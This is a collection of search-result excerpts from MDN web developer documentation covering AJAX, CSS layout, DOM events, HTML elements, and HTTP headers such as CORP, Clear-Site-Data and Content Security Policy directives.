...le. note: if you're sending a request to a piece of code that will return xml, rather than a static html file, you must set response headers to work in internet explorer. if you do not set header content-type: application/xml, ie will throw a javascript "object expected" error after the line where you tried to access an xml element. note 2: if you do not set header cache-control: no-cache the browser will cache the response and never re-submit the request, making debugging challenging. you can also add an always-different get parameter, like a timestamp or random number (see bypassing the cache) note 3: if the httprequest variable is used globally, competing functions calling makerequest() can overwrite each other, causing a race condition. declaring the httprequest variable local to a clo...
Block formatting context - Developer guides
nline-block). table cells (elements with display: table-cell, which is the default for html table cells). table captions (elements with display: table-caption, which is the default for html table captions). anonymous table cells implicitly created by the elements with display: table, table-row, table-row-group, table-header-group, table-footer-group (which is the default for html tables, table rows, table bodies, table headers, and table footers, respectively), or inline-table. block elements where overflow has a value other than visible. display: flow-root. elements with contain: layout, content, or paint. flex items (direct children of the element with display: flex or inline-flex) if they are neither flex nor grid nor table containers themselves. grid items (direct children of the e...
...contain the content and not the float. using overflow: auto setting overflow: auto or set other values than the initial value of overflow: visible created a new bfc containing the float. our <div> now becomes a mini-layout inside our layout. any child element will be contained inside it. the problem with using overflow to create a new bfc is that the overflow property is meant for telling the browser how you want to deal with overflowing content. there are some occasions in which you will find you get unwanted scrollbars or clipped shadows when you use this property purely to create a bfc. in addition, it is potentially not readable for a future developer, as it might not be obvious why you used overflow for this purpose. if you use overflow, it is a good idea to comment the code to explain...
... display: flow-root on the containing block creates a new bfc . with display: flow-root; on the <div>, everything inside that container participates in the block formatting context of that container, and floats will not poke out of the bottom of the element. the value name of flow-root makes sense when you understand you are creating something that acts like the root element (<html> element in browser) in terms of how it creates a new context for the flow layout inside it. html <section> <div class="box"> <div class="float">i am a floated box!</div> <p>i am content inside the container.</p> </div> </section> <section> <div class="box" style="overflow:auto"> <div class="float">i am a floated box!</div> <p>i am content inside the <code>overflow:aut...
Challenge solutions - Developer guides
rule challenge comment out part of your stylesheet, without changing anything else, to make the very first letter of your document red. solution one way to do this is to put comment delimiters around the rule for .carrot: /* .carrot { color: orange; } */ text styles big initial letters challenge without changing anything else, make all six initial letters twice the size in the browser's default serif font. solution add the following style declaration to the strong rule: font: 200% serif; if you use separate declarations for font-size and font-family, then the font-style setting on the first paragraph is not overridden. color three-digit color codes challenge in your css file, change all the color names to 3-digit color codes without affecting the result. solut...
...ollowing rule achieves this effect: ul { border: 10px solid lightblue; width: 100px; } layout default image position fixed image position challenge change your sample document, doc2.html, adding this tag to it near the end, just before </body>: <img id="fixed-pin" src="yellow-pin.png" alt="yellow map pin"> predict where the image will appear in your document. then refresh your browser to see if you were correct. solution the image appears to the right of the second list. challenge add a rule to your stylesheet that places the image in the top right of your document. solution the following rule achieves the desired result: #fixed-pin { position:fixed; top: 3px; right: 3px; } tables borders on data cells only challenge change the stylesheet to make th...
... svg and css change color of inner petals challenge change the stylesheet so that the inner petals all turn pink when the mouse pointer is over any one of them, without changing the way the outer petals work. solution move the position of the :hover pseudo-class from a specific petal, to all petals #inner-petals { --segment-fill-fill-hover: pink; } /* non-standard way for some older browsers */ #inner-petals:hover .segment-fill { fill: pink; stroke: none; } ...
Mouse gesture events - Developer guides
. there may also be large incompatibilities between implementations and the behavior may change in the future. gecko 1.9.1 added support for several mozilla-specific dom events used to handle mouse gestures. these are special movements that can be made with a mouse or trackpad and can be interpreted to perform specific tasks. note: these gesture events are available to add-ons and other browser chrome code, but are never sent to regular web page content. note: some operating systems, including mac os x and windows 7, provide default actions when gesture events occur. if you handle a gesture event and wish to prevent the default action from taking place as well, be sure to call the event's preventdefault() method. types of gesture events mozswipegesture the mozswipegesture event is s...
...eupdate the mozmagnifygestureupdate event is sent periodically while processing a magnify gesture, to provide updated status information. the event's delta value represents the amount by which the gesture has moved since the mozmagnifygesturestart or mozmagnifygestureupdate event. note: this event is sent whenever the movement of the user's fingers exceeds the number of pixels indicated by the browser.gesture.pinch.threshold preference. mozmagnifygesture the mozmagnifygesture event is sent when the user completes a "pinch" gesture. if you only care about the end results of the pinch gesture, you can simply watch for this event; however, if you want to provide feedback during the handling of the gesture, you should also watch the mozmagnifygesturestart and mozmagnifygestureupdate events. the ...
...stureupdate the mozrotategestureupdate event is sent periodically while processing a rotate gesture, to provide updated status information. the event's delta value represents the amount by which the gesture has moved since the mozrotategesturestart or mozrotategestureupdate event. note: this event is sent whenever the movement of the user's fingers exceeds the number of pixels indicated by the browser.gesture.pinch.threshold preference. mozrotategesture the mozrotategesture event is sent when the user completes a rotate gesture. if you only care about the end results of the rotate gesture, you can simply watch for this event; however, if you want to provide feedback during the handling of the gesture, you should also watch the mozrotategesturestart and mozrotategestureupdate events. the delt...
Mutation events - Developer guides
specification, as the api's design is flawed (see details in the "dom mutation events replacement: the story so far / existing points of consensus" post to public-webapps). mutation observers are the proposed replacement for mutation events in dom4. they are expected to be included in firefox 14 and chrome 18. ...
...ion events are performance issues and cross-browser support. performance adding dom mutation listeners to a document profoundly degrades the performance of further dom modifications to that document (making them 1.5 - 7 times slower!). moreover, removing the listeners does not reverse the damage. the performance effect is limited to the documents that have the mutation event listeners. cross-browser support these events are not implemented consistently across different browsers, for example: ie prior to version 9 didn't support the mutation events at all and does not implement some of them correctly in version 9 (for example, domnodeinserted) webkit doesn't support domattrmodified (see webkit bug 8191 and the workaround) "mutation name events", i.e. domelementnamechanged and domattri...
... example: ie prior to version 9 didn't support the mutation events at all and does not implement some of them correctly in version 9 (for example, domnodeinserted) webkit doesn't support domattrmodified (see webkit bug 8191 and the workaround) "mutation name events", i.e. domelementnamechanged and domattributenamechanged are not supported in firefox (as of version 11), and probably in other browsers as well. ... dottoro documents browser support for mutation events. mutation events list the following is a list of all mutation events, as defined in dom level 3 events specification: domattrmodified domattributenamechanged domcharacterdatamodified domelementnamechanged domnodeinserted domnodeinsertedintodocument domnoderemoved domnoderemovedfromdocument domsubtreemodified m...
Constraint validation - Developer guides
etting new attributes; more complex constraints can be tested using the constraint validation api. for a basic introduction to these concepts, with examples, see the form validation tutorial. note: html5 constraint validation doesn't remove the need for validation on the server side. even though far fewer invalid form requests are to be expected, invalid ones can still be sent by non-compliant browsers (for instance, browsers without html5 and without javascript) or by bad people trying to trick your web application. therefore, like with html4, you need to also validate input constraints on the server side, in a way that is consistent with what is done on the client side. intrinsic and basic constraints in html5, basic constraints are declared in two ways: by choosing the most semantica...
...nd especially the field.setcustomvalidity() method, with another javascript api, here the file api. ...
...ier to identify elements that are either formatted correctly or incorrectly. controlling the text of constraint violation the following items can help with controlling the text of a constraint violation: element.setcustomvalidity(message) method on the following elements: <fieldset>. note: setting a custom validity message on fieldset elements will not prevent form submission in most browsers. <input> <output> <select> submit buttons (created with either a <button> element with the submit type, or an input element with the submit type. other types of buttons do not participate in constraint validation. <textarea> the validitystate interface describes the object returned by the validity property of the element types listed above. it represents various ways that ...
Separate sites for mobile and desktop - Developer guides
creating different sites for mobile and desktop web users. this approach has positive and negative aspects. the good the first option is the most popular by far: use user-agent detection to route users on phones to a separate mobile site, typically at m.example.com. in a nutshell, this technique uses server-side logic to solve all three goals of mobile web development at once — if the user’s browser looks like it’s on a phone, you serve them mobile content, formatted for their phone and optimized for speed. conceptually simple, this is the easiest option to add to an existing site, especially if you are using a cms or web application that supports templates. since only the mobile-specific content, styles, and scripts are sent to mobile users, this method also provides for the best perfor...
... there is a difference between the mobile and desktop templates, there is a potential source of complication in your code. similarly, this increases the implementation time of any new site features, since you must now code two sets of front-end logic. even more important than that, though, is the fact that user-agent detection is inherently flawed, and anything but future-proof. every time a new browser comes out, you must adjust your algorithm to accommodate it. and false positives are particularly scary — it could be embarrassing to serve desktop users your mobile site accidentally. when it is right to choose this option firstly, if your target audience includes users on older or low-end feature phones, it is worth noting that you may need to employ this strategy to some degree no matter w...
... algorithm to accommodate it. and false positives are particularly scary — it could be embarrassing to serve desktop users your mobile site accidentally. when it is right to choose this option firstly, if your target audience includes users on older or low-end feature phones, it is worth noting that you may need to employ this strategy to some degree no matter what. this is because the default browsers on some feature-phones do not support the same markup that you would use to code a website targeted at the desktop, but instead understand formats like xhtml-mp or the older wml. this factor aside, there is one case where this strategy really shines over other methods. if the functionality you would like to provide to your users on mobile devices is extremely different from that on a desktop, ...
User input and controls - Developer guides
neric pointer input look a lot like those for mouse: pointerdown, pointermove, pointerup, pointerover, pointerout, etc. note: pointer events are not widely supported yet, but a pointer.js polyfill is available on mozilla github. implement controls pointer lock in some cases, typically game development, you might need to access mouse events even when the cursor goes past the boundary of the browser or screen: the pointer_lock_api gives you full control of the pointing device. this is the code to request pointer lock on an element: element.requestpointerlock(); note: for a full tutorial and reference, read our pointer_lock_api page. screen orientation when screen orientation matters for your application, you can read the screen orientation state, be informed when this state changes,...
...tation method removes all the previous screen locks that have been set. note: more information about the screen orientation api can be found in managing screen orientation. fullscreen you might need to present an element of your application (such as a <video>, for example) in fullscreen mode. you can achieve this by calling element.requestfullscreen() on that element. ...
... <div contenteditable="true">
 this text can be edited by the user. </div> note: compatibility information, examples and other resources can be found in the content editable guide. examples tracking multiple touch points at a time this example tracks multiple touch points at a time, allowing the user to draw in a <canvas> with more than one finger at a time. it will only work on a browser that supports touch events. simple pointer lock demo we've written a simple pointer lock demo to show you how to use it to set up a simple control system. the demo uses javascript to draw a ball inside a <canvas> element. when you click the canvas, pointer lock is then used to remove the mouse pointer and allow you to move the ball directly using the mouse. contenteditable demo this is a wo...
<abbr>: The Abbreviation element - HTML: Hypertext Markup Language
Web › HTML › Element › abbr
implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes this element only supports the global attributes. the title attribute has a specific semantic meaning when used with the <abbr> element; it must contain a full human-readable description or expansion of the abbreviation. this text is often presented by browsers as a tooltip when the mouse cursor is hovered over the element. each <abbr> element you use is independent from all others; providing a title for one does not automatically attach the same expansion text to others with the same content text. usage notes typical use cases it's certainly not required that all abbreviations be marked up using <abbr>. there are, though, a few cases where it's ...
...tical number (that is, languages where the number of items affects the grammar of a sentence), use the same grammatical number in your title attribute as inside your <abbr> element. this is especially important in languages with more than two numbers, such as arabic, but is also relevant in english. ...
...he same grammatical number in your title attribute as inside your <abbr> element. this is especially important in languages with more than two numbers, such as arabic, but is also relevant in english. default styling the purpose of this element is purely for the convenience of the author and all browsers display it inline (display: inline) by default, though its default styling varies from one browser to another: some browsers, like internet explorer, do not style it differently than a <span> element. opera, firefox, and some others add a dotted underline to the content of the element. a few browsers not only add a dotted underline, but also put it in small caps; to avoid this styling, adding something like font-variant: none in the css takes care of this case. examples marking up an...
<element>: The Custom Element element (Obsolete) - HTML: Hypertext Markup Language
Web › HTML › Element › element
ransparent content. permitted content ??? tag omission none, both the starting and ending tag are mandatory. permitted parent elements ??? dom interface htmlelement attributes this element includes the global attributes. specifications the <element> element was formerly in a draft specification of custom elements but it has been removed. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetelement deprecatednon-st...
...not for use in new websites.deprecated. not for use in new websites. see also web components: <content>, <shadow>, <slot>, and <template> ...
...not for use in new websites.deprecated. not for use in new websites. see also web components: <content>, <shadow>, <slot>, and <template> ...
<input type="hidden"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › hidden
nge events do not apply to this input type. hidden inputs cannot be focused even using javascript (e.g. hiddeninput.focus()). value the <input> element's value attribute holds a domstring that contains the hidden data you want to include when the form is submitted to the server. this specifically can't be edited or seen by the user via the user interface, although you could edit the value via browser developer tools. important: while the value isn't displayed to the user in the page's content, it is visible—and can be edited—using any browser's developer tools or "view source" functionality. do not rely on hidden inputs as a form of security. additional attributes in addition to the attributes common to all <input> elements, hidden inputs offer the following attributes: a...
...ing edited content), using a hidden input to remember the id of the record being edited. the edit form's html might look a little bit like this: <form> <div> <label for="title">post title:</label> <input type="text" id="title" name="title" value="my excellent blog post"> </div> <div> <label for="content">post content:</label> <textarea id="content" name="content" cols="60" rows="5"> this is the content of my excellent blog post. i hope you enjoy it! </textarea> </div> <div> <button type="submit">update post</button> </div> <input type="hidden" id="postid" name="postid" value="34657"> </form> let's also add some simple css: html { font-family: sans-serif; } form { width: 500px; } div { display: flex; margin-bottom: 10px; } label { flex: 2; ...
...no scripting is needed in the content to handle this. the output looks like this: note: you can also find the example on github (see the source code, and also see it running live). when submitted, the form data sent to the server will look something like this: titl...
<input type="radio"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › radio
ption checked a boolean indicating whether or not this radio button is the currently-selected item in the group value the string to use as the value of the radio when submitting the form, if the radio is currently toggled on checked a boolean attribute which, if present, indicates that this radio button is the currently selected one in the group. unlike other browsers, firefox by default persists the dynamic checked state of an <input> across page loads. use the autocomplete attribute to control this feature. value the value attribute is one which all <input>s share; however, it serves a special purpose for inputs of type radio: when a form is submitted, only radio buttons which are currently checked are submitted to the server, and the reported value is ...
...by default, radio buttons (and checkboxes) are styled with the operating system's native styles for those controls. by specifying appearance: none, you can remove the native styling altogether, and create your own styles for them. here we've used a border along with border-radius and a transition to create a nice animating radio selection. notice also how the :checked pseudo-class is used to...
...your own styles for them. here we've used a border along with border-radius and a transition to create a nice animating radio selection. notice also how the :checked pseudo-class is used to specify the styles for the radio button's appearance when selected. compatibility note: if you wish to use the appearance property, you should test it very carefully. although it is supported in most modern browsers, its implementation varies widely. in older browsers, even the keyword none does not have the same effect across different browsers, and some do not support it at all. the differences are smaller in the newest browsers. notice that when clicking on a radio button, there's a nice, smooth fade out/in effect as the two buttons change state. in addition, the style and coloring of the legend an...
<isindex> - HTML: Hypertext Markup Language
Web › HTML › Element › isindex
summary <isindex> was an obsolete html element that put a text field in a page for querying the document. <isindex> provided a single line text input for entering a query string. when sent, the server would return a list of pages matching the query. its support depended on both the browser and the server to react to the query. <isindex> is removed html standard. it was deprecated in html 4.01. the same behaviour can be achieved with an html form. all major browsers have now removed <isindex>. attributes like all other html elements, this element accepted the global attributes. prompt this attribute added its value as a prompt for text field. action this attribute determined the server url to which the query was sent. example <head> <isindex prompt="search document..." action=...
... <input name="isindex"> </label> <hr> </form> history on june 1992, dan connolly would prefer a different anchor type instead of isindex. ...
...> <hr> </form> history on june 1992, dan connolly would prefer a different anchor type instead of isindex. on november 1992, indexes as links rather than documents started by dan connolly who is pushing the idea that indexes are more links than documents. in this thread, different type of solutions are proposed. the question of forms for making queries is mentioned in reference to dynatext browser: "the browser displays toggle buttons, text fields etc. the user fills in the fields, clicks ok, and the query results come up in the table of contents window." a thread about isindex in november 1992, kevin hoadley questioned the need for an isindex element and proposed to drop it. he proposed to have instead an input element (idea supported by steve putz). tim berners-lee explains the purpos...
<noframes>: The Frame Fallback element - HTML: Hypertext Markup Language
Web › HTML › Element › noframes
the obsolete html no frames or frame fallback element, <noframes>, provides content to be presented in browsers that don't support (or have disabled support for) the <frame> element. although most commonly-used browsers support frames, there are exceptions, including certain special-use browsers including some mobile browsers, as well as text-mode browsers. a <noframes> element can contain any html elements that are allowed within the body of an html document, with the exception of the <frameset> and <frame> elements, since using frames when they aren't supported doesn't make sense. ...
... in html 5 and later, <noframes> is obsolete and shouldn't be used, since the <frame> and <frameset> elements are also obsolete. ...
...o other attributes available. example in this example, we see a frameset with two frames. in addition, <noframes> is used to present an explanatory message if the user agent doesn't support frames. <frameset cols="50%,50%"> <frame src="https://developer.mozilla.org/en/html/element/frameset" /> <frame src="https://developer.mozilla.org/en/html/element/frame" /> <noframes><p>it seems your browser does not support frames or is configured to not allow them.</p></noframes> </frameset> specifications specification status comment html5the definition of 'noframes' in that specification. recommendation html 4.01 specificationthe definition of '<noframes>' in that specification. recommendation ...
<tt>: The Teletype Text element (obsolete) - HTML: Hypertext Markup Language
Web › HTML › Element › tt
t attributes this element only includes the global attributes examples basic example this example uses <tt> to show text entered into, and output by, a terminal application. ...
...t only includes the global attributes examples basic example this example uses <tt> to show text entered into, and output by, a terminal application. ...
...you can override this using css by creating a rule using the tt selector, as seen in the example overriding the default font above. user-configured changes to the default monospace font setting may take precedence over your css. although this element wasn't officially deprecated in html 4.01, its use was discouraged in favor of the semantic elements and/or c...
HTML: Hypertext Markup Language
Web › HTML
script). "hypertext" refers to links that connect web pages to one another, either within a single website or between websites. links are a fundamental aspect of the web. by uploading content to the internet and linking it to pages created by other people, you become an active participant in the world wide web. html uses "markup" to annotate text, images, and other content for display in a web browser. html markup includes special "elements" such as <head>, <title>, <body>, <header>, <footer>, <article>, <section>, <p>, <div>, <span>, <img>, <aside>, <audio>, <canvas>, <datalist>, <details>, <embed>, <nav>, <output>, <progress>, <video>, <ul>, <ol>, <li> and many others. an html element is set off from other text in a document by "tags", which consist of the element name surrounded by "<" a...
...ets you configure the cors requests for the element's fetched data. preloading content with rel="preload" the preload value of the <link> element's rel attribute allows you to write declarative fetch requests in your html <head>, specifying resources that your pages will need very soon after loading, which you therefore want to start preloading early in the lifecycle of a page load, before the browser's main rendering machinery kicks in. this ensures that they are made available earlier and are less likely to block the page's first render, leading to performance improvements. this article provides a basic guide to how preload works. references html reference html consists of elements, each of which may be modified by some number of attributes. html documents are connected to each oth...
...his ensures that they are made available earlier and are less likely to block the page's first render, leading to performance improvements. this article provides a basic guide to how preload works. references html reference html consists of elements, each of which may be modified by some number of attributes. html documents are connected to each other with links. html element reference browse a list of all html elements. html attribute reference elements in html have attributes. these are additional values that configure the elements or adjust their behavior in various ways. global attributes global attributes may be specified on all html elements, even those not specified in the standard. this means that any non-standard elements must still permit these attributes, even though t...
Basics of HTTP - HTTP
of resources, identifiers, and locations on the web. identifying resources on the web describes how web resources are referenced and how to locate them. data uris a specific kind of uri that directly embeds the resource it represents. data uris are very convenient, but have some caveats. resource urls resource urls, those prefixed with the resource scheme are used by firefox and firefox browser extensions to load resources internally, but is also available to some sites the browser connects to as well. separating identity and location of a resource: the alt-svc http header most of the time the identity and location of a web resource are shared, this can be changed with the alt-svc header. mime types since http/1.0, different types of content can be transmitted. this article explai...
...w this is accomplished using the content-type header and the mime standard. choosing between www and non-www urls this article provides guidance on how to choose whether to use a www-prefixed domain or not, along with the consequences of that choice. flow of an http session this fundamental article describes a typical http session: what happens under the hood when you click on a link in your browser. http messages http messages transmitted during requests or responses have a very clear structure. this introductory article describes this structure, its purpose, and its possibilities. frame and message structure in http/2 http/2 encapsulates and represents http/1.x messages in a binary frame. this article explains the frame structure, its purpose, and the way it's encoded. connection ma...
...rsistent connection and pipelining. this article explains both concepts. connection management in http/2 http/2 completely revisited how connections are created and maintained. this article explains how http frames allow multiplexing and solve the 'head-of-line' blocking problem of former http versions. content negotiation http introduces a set of headers, starting with accept as a way for a browser to announce the format, language, or encoding it prefers. this article explains how this advertisement happens, how the server is expected to react, and how it chooses the most adequate response. ...
Compression in HTTP - HTTP
compression is an important way to increase the performance of a web site. for some documents, size reduction of up to 70% lowers the bandwidth capacity needs. over the years, algorithms also got more efficient, and new ones are supported by clients and servers. in practice, web developers don't need to implement compression mechanisms, both browsers and servers have it implemented already, but they have to be sure that the server is configured adequately. compression happens at three different levels: first some file formats are compressed with specific optimized methods, then general encryption can happen at the http level (the resource is transmitted compressed from end to end), and finally compression can be defined at the connection level, between two nodes of an http connection. ...
...r files in a compressed format. end-to-end compression for compression, end-to-end compression is where the largest performance improvements of web sites reside. end-to-end compression refers to a compression of the body of a message that is done by the server and will last unchanged until it reaches the client. whatever the intermediate nodes are, they leave the body untouched. all modern browsers and servers do support it and the only thing to negotiate is the compression algorithm to use. these algorithm are optimized for text. in the 1990s, compression technology was advancing at a rapid pace and numerous successive algorithms have been added to the set of possible choices. nowadays, only two are relevant: gzip, the most common one, and br the new challenger. to select the algorithm...
...rvers do support it and the only thing to negotiate is the compression algorithm to use. these algorithm are optimized for text. in the 1990s, compression technology was advancing at a rapid pace and numerous successive algorithms have been added to the set of possible choices. nowadays, only two are relevant: gzip, the most common one, and br the new challenger. to select the algorithm to use, browsers and servers use proactive content negotiation. the browser sends an accept-encoding header with the algorithm it supports and its order of precedence, the server picks one, uses it to compress the body of the response and uses the content-encoding header to tell the browser the algorithm it has chosen. as content negotiation has been used to choose a representation based on its encoding, the s...
Cross-Origin Resource Policy (CORP) - HTTP
d the default same-origin policy. cross-origin resource policy complements cross-origin read blocking (corb), which is a mechanism to prevent some cross-origin reads by default. the policy is only effective for no-cors requests, which are issued by default for cors-safelisted methods/headers. as this policy is expressed via a response header, the actual request is not prevented—rather, the browser prevents the result from being leaked by stripping the response body. history the concept was originally proposed in 2012 (as from-origin), but resurrected in q2 of 2018 and implemented in safari and chromium. in early 2018, two side-channel hardware vulnerabilities known as meltdown and spectre were disclosed. these vulnerabilities allowed sensitive data disclosure due to a race condition w...
...m shipped cross-origin read blocking, which automatically protects certain resources (of content-type html, json and xml) against cross-origin reads. if the application does not serve a no-sniff directive, chromium will attempt to guess the content-type and apply the protection anyway. cross-origin resource policy is an opt-in response header which can protect any resource; there is no need for browsers to sniff mime types. usage note: due to a bug in chrome, setting cross-origin-resource-policy can break pdf rendering, preventing visitors from being able to read past the first page of some pdfs. exercise caution using this header in a production environment. web applications set a cross-origin resource policy via the cross-origin-resource-policy http response header, which accepts one o...
...l standard and involves checking the registrable domain. same-origin only requests from the same origin (i.e. scheme + host + port) can read the resource. cross-origin requests from any origin (both same-site and cross-site) can read the resource. cross-origin-resource-policy: same-site | same-origin | cross-origin during a cross-origin resource policy check, if the header is set, the browser will deny no-cors requests issued from a different origin/site. ...
Feature Policy - HTTP
feature policy allows web developers to selectively enable, disable, and modify the behavior of certain features and apis in the browser. it is similar to content security policy but controls features instead of security behavior. the feature-policy header has now been renamed to permissions-policy in the spec, and this article will eventually be updated to reflect that change. in a nutshell feature policy provides a mechanism to explicitly declare what functionality is used (or not used), throughout your website. ...
...hange. in a nutshell feature policy provides a mechanism to explicitly declare what functionality is used (or not used), throughout your website. this allows you to lock in best practices, even as the codebase evolves over time — as well as to more safely compose third-party content — by limiting which features are available. with feature policy, you opt-in to a set of "policies" for the browser to enforce on specific features used throughout a website. these policies restrict what apis the site can access or modify the browser's default behavior for certain features. examples of what you can do with feature policy: change the default behavior of autoplay on mobile and third party videos. restrict a site from using sensitive apis like camera or microphone. allow iframes to use th...
...allows you to control which origins can use which features, both in the top-level page and in embedded frames. essentially, you write a policy, which is an allowed list of origins for each feature. for every feature controlled by feature policy, the feature is only enabled in the current document or frame if its origin matches the allowed list of origins. for each policy-controlled feature, the browser maintains a list of origins for which the feature is enabled, known as an allowlist. if you do not specify a policy for a feature, then a default allowlist will be used. the default allowlist is specific to each feature. writing a policy a policy is described using a set of individual policy directives. a policy directive is a combination of a defined feature name, and an allowlist of origins...
Access-Control-Allow-Credentials - HTTP
the access-control-allow-credentials response header tells browsers whether to expose the response to frontend javascript code when the request's credentials mode (request.credentials) is include. when a request's credentials mode (request.credentials) is include, browsers will only expose the response to frontend javascript code if the access-control-allow-credentials value is true. credentials are cookies, authorization headers or tls client certificates. when used as part of a response to a preflight request, this indicates whether or not the actual request can be made using credentials. ...
...tials are cookies, authorization headers or tls client certificates. when used as part of a response to a preflight request, this indicates whether or not the actual request can be made using credentials. ...
... for a resource with credentials, if this header is not returned with the resource, the response is ignored by the browser and not returned to web content. the access-control-allow-credentials header works in conjunction with the xmlhttprequest.withcredentials property or with the credentials option in the request() constructor of the fetch api. for a cors request with credentials, in order for browsers to expose the response to frontend javascript code, both the server (using the access-control-allow-credentials header) and the client (by setting the credentials mode for the xhr, fetch, or ajax request) must indicate that they’re opting in to including credentials. header type response header forbidden header name no syntax access-control-allow-credentials:...
Clear-Site-Data - HTTP
header type response header forbidden header name no syntax the clear-site-data header accepts one or more directives. if all types of data should be cleared, the wildcard directive ("*") can be used. // single directive clear-site-data: "cache" // multiple directives (comma separated) clear-site-data: "cache", "cookies" // wild card clear-site-data: "*" directives all directives must comply with the quoted-string grammar. a directive that does not include the double quotes is invalid. ...
..."*") can be used. // single directive clear-site-data: "cache" // multiple directives (comma separated) clear-site-data: "cache", "cookies" // wild card clear-site-data: "*" directives all directives must comply with the quoted-string grammar. a directive that does not include the double quotes is invalid. "cache" indicates that the server wishes to remove locally cached data (i.e. the browser cache, see http caching) for the origin of the response url. depending on the browser, this might also clear out things like pre-rendered pages, script caches, webgl shader caches, or address bar suggestions. "cookies" indicates that the server wishes to remove all cookies for the origin of the response url. http authentication credentials are also cleared out. this affects the entire registe...
...nstorage (executes sessionstorage.clear), indexeddb (for each database execute idbfactory.deletedatabase), service worker registrations (for each service worker registration, execute serviceworkerregistration.unregister), appcache, websql databases, filesystem api data, plugin data (flash via npp_clearsitedata). "executioncontexts" indicates that the server wishes to reload all browsing contexts for the origin of the response (location.reload). "*" (wildcard) indicates that the server wishes to clear all types of data for the origin of the response. if more data types are added in future versions of this header, they will also be covered by it. examples sign out of web site if a user signs out of your website or service, you might want to remove locally stored data. you...
Content-Disposition - HTTP
in a multipart/form-data body, the http content-disposition general header is a header that can be used on the subpart of a multipart body to give information about the field it applies to. the subpart is delimited by the boundary defined in the content-type header. used on the body itself, content-disposition has no effect. ...
... content-disposition: inline content-disposition: attachment content-disposition: attachment; filename="filename.jpg" as a header for a multipart body the first parameter in the http context is always form-data. additional parameters are case-insensitive and have arguments that use quoted-string s...
... are present in a single header field value, filename* is preferred over filename when both are understood. examples a response triggering the "save as" dialog: 200 ok content-type: text/html; charset=utf-8 content-disposition: attachment; filename="cool.html" content-length: 21 <html>save me!</html> this simple html file will be saved as a regular download rather than displayed in the browser. most browsers will propose to save it under the cool.html filename (by default). an example of an html form posted using the multipart/form-data format that makes use of the content-disposition header: post /test.html http/1.1 host: example.org content-type: multipart/form-data;boundary="boundary" --boundary content-disposition: form-data; name="field1" value1 --boundary content-dispositio...
CSP: child-src - HTTP
for workers, non-compliant requests are treated as fatal network errors by the user agent. csp version 2 directive type fetch directive default-src fallback yes. if this directive is absent, the user agent will look for the default-src directive. ...
...finitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows to enable specific inline event handlers. if you only need to allow inline event handlers a...
... single quotes are required. 'nonce-<base64-value>' a whitelist for specific inline scripts using a cryptographic nonce (number used once). the server must generate a unique nonce value each time it transmits a policy. it is critical to provide an unguessable nonce, as bypassing a resource’s policy is otherwise trivial. see unsafe inline script for an example. specifying nonce makes a modern browser ignore 'unsafe-inline' which could still be set for older browsers without nonce support. '<hash-algorithm>-<base64-value>' a sha256, sha384 or sha512 hash of scripts or styles. the use of this source consists of two portions separated by a dash: the encryption algorithm used to create the hash and the base64-encoded hash of the script or style. when generating the hash, don't include the <sc...
CSP: connect-src - HTTP
the http content-security-policy (csp) connect-src directive restricts the urls which can be loaded using script interfaces. the apis that are restricted are: <a> ping, fetch, xmlhttprequest, websocket, eventsource, and navigator.sendbeacon(). note: connect-src 'self' does not resolve to websocket schemas in all browsers, more info: https://github.com/w3c/webappsec-csp/issues/7 csp version 1 directive type fetch directive default-src fallback yes. if this directive is absent, the user agent will look for the default-src directive. syntax one or more sources can be allowed for the connect-src policy: content-security-policy: connect-src <source>; content-security-policy: connect-src <source> <source>; sources <source> can be one of t...
...finitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific inline event handlers. if you only need to allow inline event handlers an...
...ingle quotes are required. 'nonce-<base64-value>' an allow-list for specific inline scripts using a cryptographic nonce (number used once). the server must generate a unique nonce value each time it transmits a policy. it is critical to provide an unguessable nonce, as bypassing a resource’s policy is otherwise trivial. see unsafe inline script for an example. specifying nonce makes a modern browser ignore 'unsafe-inline' which could still be set for older browsers without nonce support. '<hash-algorithm>-<base64-value>' a sha256, sha384 or sha512 hash of scripts or styles. the use of this source consists of two portions separated by a dash: the encryption algorithm used to create the hash and the base64-encoded hash of the script or style. when generating the hash, don't include the <sc...
CSP: form-action - HTTP
firefox 57 doesn't block the redirects whereas chrome 63 does). csp version 2 directive type navigation directive default-src fallback no. not setting this allows anything. ...
...finitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific inline event handlers. if you only need to allow inline event handlers an...
...ingle quotes are required. 'nonce-<base64-value>' an allow-list for specific inline scripts using a cryptographic nonce (number used once). the server must generate a unique nonce value each time it transmits a policy. it is critical to provide an unguessable nonce, as bypassing a resource’s policy is otherwise trivial. see unsafe inline script for an example. specifying nonce makes a modern browser ignore 'unsafe-inline' which could still be set for older browsers without nonce support. '<hash-algorithm>-<base64-value>' a sha256, sha384 or sha512 hash of scripts or styles. the use of this source consists of two portions separated by a dash: the encryption algorithm used to create the hash and the base64-encoded hash of the script or style. when generating the hash, don't include the <sc...
CSP: frame-src - HTTP
csp version 1 directive type fetch directive fallback if this directive is absent, the user agent will look for the child-src directive (which falls back to the default-src directive). ...
